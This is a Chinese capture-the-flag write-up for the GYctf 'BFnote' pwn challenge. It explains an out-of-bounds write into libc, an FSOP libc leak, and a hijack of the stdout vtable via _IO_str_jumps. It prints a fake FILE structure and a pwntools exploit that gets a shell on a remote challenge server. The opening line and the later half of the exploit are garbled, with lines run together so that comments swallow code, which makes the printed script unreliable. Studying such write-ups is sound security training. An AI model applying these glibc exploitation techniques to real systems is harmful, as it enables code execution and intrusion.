GYctf-BFnote IO_FILE還可以這樣利用

合天網安實驗室 發佈 2020-02-27T19:38:31+00:00

p.sendline)#remotp.sendline)p.recvuntilp.sendline)p.recvuntilp.sendlinep.recvuntilp.sendline*2+'a'*0x4c)p.recvuntillibc_addr = u32)libc_err

原創檸檬汽水合天智匯

這次感受到了自己是多麼的菜,打完hgame再來打這個感覺完全不是一個等級的pwn題,第一天只做出來一個,算是比較有質量的題吧,從比賽開始卡到我比賽結束,幸虧最後做出來了。

有兩個很明顯的溢出,第一個是棧溢出0x600,第二個是bss端0x600,然後程序讓你輸入notebook size,然後申請了相應大小的內存,然後輸入titile size,對title size做了個檢驗,如果大於之前book size就重新輸入,但是這裡注意一下,新輸入的值賦值給了i,但是第二次read是根據最開始輸入的size來的,所以這裡存在一個越界寫的洞。那麼接下來說說我自己的利用思路,踩坑無數才找到。

1.malloc 一個0x20000大小的內存,這樣他會緊鄰libc,偏移固定,所以可以越界寫到libc里。這裡我選擇寫到IO_list_all,把他寫上bss段的地址,在bss端里偽造好file結構,控制它的虛表也指向bss段,在裡面布置好main函數地址,所以程序在返回的時候通過執行exit函數,通過IO_list_all鍊表找到文件,從而執行該文件結構虛表里的_IO_flush_all_lockp函數,但是此時這個vtable被我們劫持了,無論調用哪個函數都會調用main函數,程序又跳回,這種利用方式是FSOP,同時我們注意到後面還有個fwrite,會輸出我們越界寫的地方里的內容,觀察內存布局我們不難發現,他緊鄰stderr,我們在裡面填充好數據,就能順便把stderr裡面的libc數據帶出來,從而我們可以leak出libc

2.第二次越界寫的時候我的第一個方案是改stdout的虛表,劫持虛表到bss段,bss段上埋好one gadget的地址。但是32位的庫下one gadget不是很好用。在查閱資料之後,我發現還有另一種劫持虛表的辦法,也就是2.24版本libc加入對vtable check之後的辦法。加入的check就是檢查虛表是否在libc規定的那個範圍內,如果不在,就crash,所以那些大佬把目光投向了緊鄰IO file jump的IO str jump,通過改虛表指針為IO str jump,從而改變控制流,


調用fwrite最終會走到調用stdout虛表里的IO_xsputn,查閱資料後,我發現可以將其劫持為IO_str_overflow,因為這裡有一個我們可以控制的函數指針,那我們應該怎樣更改虛表呢。我們都知道虛表跳轉是根據偏移來的,比如這次調用IO_xsputn,是虛表里第六項,而IO_str_overflow是第二項,所以我們可以將IO_file_jumps的地址改成IO_str_jumps的地址減16,也就是說下次再調用xsputn,就會根據相應偏移來找到相應的函數地址,再被劫持後調用xsputn就變成了調用IO_str_overflow,

這裡我們可以查下源碼,這裡有幾個條件需要繞過:

1.flag位:flag & 0xC00 != 0x400,這也才能保證之後取到write_ptr的值(a1+20 ;//IDA的這個看不習慣可以去查下相關源碼,可以更清晰).

2.write_ptr - write_base >buf_end - buf_base.

3.調試時發現的,應該偽造好_lock處的指針指向的值為0.

這樣就可以滿足條件從而調用文件結構種偏移152處的函數指針指向的函數,參數是(buf_end - buf_base)*2+100,這樣我們第二次越界寫的時候就給stdout文件來次大換血,將其各處的值偽造好,從而劫持了控制流。

fake_file我是這樣偽造的

fake_file = p32(0) #file_flag
fake_file += p32(0)*3 #read_base read_ptr read_end
fake_file += p32(0)+p32(system)+p32(0) #write_base write_ptr write_end
fake_file += p32(0x804a060)+p32(0x804a060+0x4024ffe) #buf_base buf_end
fake_file = fake_file.ljust(72,'\x00')
fake_file += p32(0x804a080) #bypass get lock
fake_file = fake_file.ljust(144,'\x00')
fake_file += p32(fake+0x40+12+4)*2+p32(system)*2
Exp如下:
from pwn import *
p = process('./BFnote')
p = remote('node3.buuoj.cn',27361)
elf = ELF('./BFnote')
libc1 = ELF('./libc.so.6')
libc2 = elf.libc
print hex(libc1.symbols['_IO_2_1_stdout_'])
print hex(libc2.symbols['_IO_2_1_stdout_'])
#gdb.attach(p,'b* 0x8048907')
p.recvuntil('Give your description : ')
p.sendline('a'*0x10)
p.recvuntil('Give your postscript : ')
fake_file = p32(0xfbad2086)
fake_file += p32(0x0)*3+p32(0x0)+p32(0x1)
fake_file = fake_file.ljust(0x94,'\x00')
fake_file += p32(0x804a060+0xa0)
fake_file = fake_file.ljust(0xa0,'\x00')
fake_file += p32(0x8048761)*20
p.sendline(fake_file)
p.recvuntil('Give your notebook size : ')
p.sendline(str(0x20000))
p.recvuntil('Give your title size : ')
#size = 0x22000+0x1b3ca0
p.sendline(str(0x1b3ca0+0x20fe8-0x2000)) #remotp.sendline(str(0x1b3ca0+0x20fe8))p.recvuntil('invalid ! please re-enter :\n')p.sendline(str(0x10))p.recvuntil('Give your title : ')p.sendline('a'*0x8)p.recvuntil('Give your note : ')p.sendline(p32(0x804a060)*2+'a'*0x4c)p.recvuntil('a'*0x4c)libc_addr = u32(p.recv(4))libc_err = libc_addr - 74#libc_base = libc_err - libc2.symbols['_IO_2_1_stderr_']libc_base = libc_err - libc1.symbols['_IO_2_1_stderr_'] #remotesystem = libc_base + libc1.symbols['system'] #remote#system = libc_base + libc2.symbols['system']print hex(system)print '[+]stderr_addr: '+hex(libc_err)print '[+]libc_base: '+hex(libc_base)print '[+]system_addr: '+hex(system)p.recvuntil('Give your description : ')p.sendline('\x00'*0x10)p.recvuntil('Give your postscript : ')p.sendline('/bin/sh'.ljust(0x100,'\x00'))p.recvuntil('Give your notebook size : ')p.sendline(str(0x20000))p.recvuntil('Give your title size : ')#size = 0x43000 + libc1.symbols['_IO_2_1_stdout_']+0x90 #remotesize = 0x43000 + libc2.symbols['_IO_2_1_stdout_']+0x90fake = libc_base + libc1.symbols['_IO_file_jumps'] #remote#fake = libc_base + libc2.symbols['_IO_file_jumps']print hex(size)p.sendline(str(size-0xa8-0x2000)) #remotep.sendline(str(size-0xa8))p.recvuntil('invalid ! please re-enter :\n')p.sendline(str(0x10))p.recvuntil('Give your title : ')p.sendline('a'*0x8)p.recvuntil('Give your note : ')fake_file = p32(0) #file_flagfake_file += p32(0)*3 #read_base read_ptr read_endfake_file += p32(0)+p32(system)+p32(0) #write_base write_ptr write_endfake_file += p32(0x804a060)+p32(0x804a060+0x4024ffe) #buf_base buf_endfake_file = fake_file.ljust(72,'\x00')fake_file += p32(0x804a080) #bypass get lockfake_file = fake_file.ljust(144,'\x00')fake_file += p32(fake+0x40+12+4)*2+p32(system)*2p.sendline(fake_file)#gdb.attach(p)p.interactive()

總結一下:

發現越界寫的漏洞,第一次越界寫IO list all,利用FSOP是程序重新跳回main函數執行,同時填充緩衝區使其在調用fwrite時可以leak出libc地址,第二次越界寫就篡改stdout文件,劫持其虛表,從而getshell

點擊連結做實驗:《緩衝區溢出基礎與實踐》

實驗:緩衝區溢出基礎與實踐(合天網安實驗室)

(了解緩衝區溢出的原理與危害,掌握防範緩衝區溢出的基本方法,學會進行常見的緩衝區溢出攻擊。)

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!

關鍵字: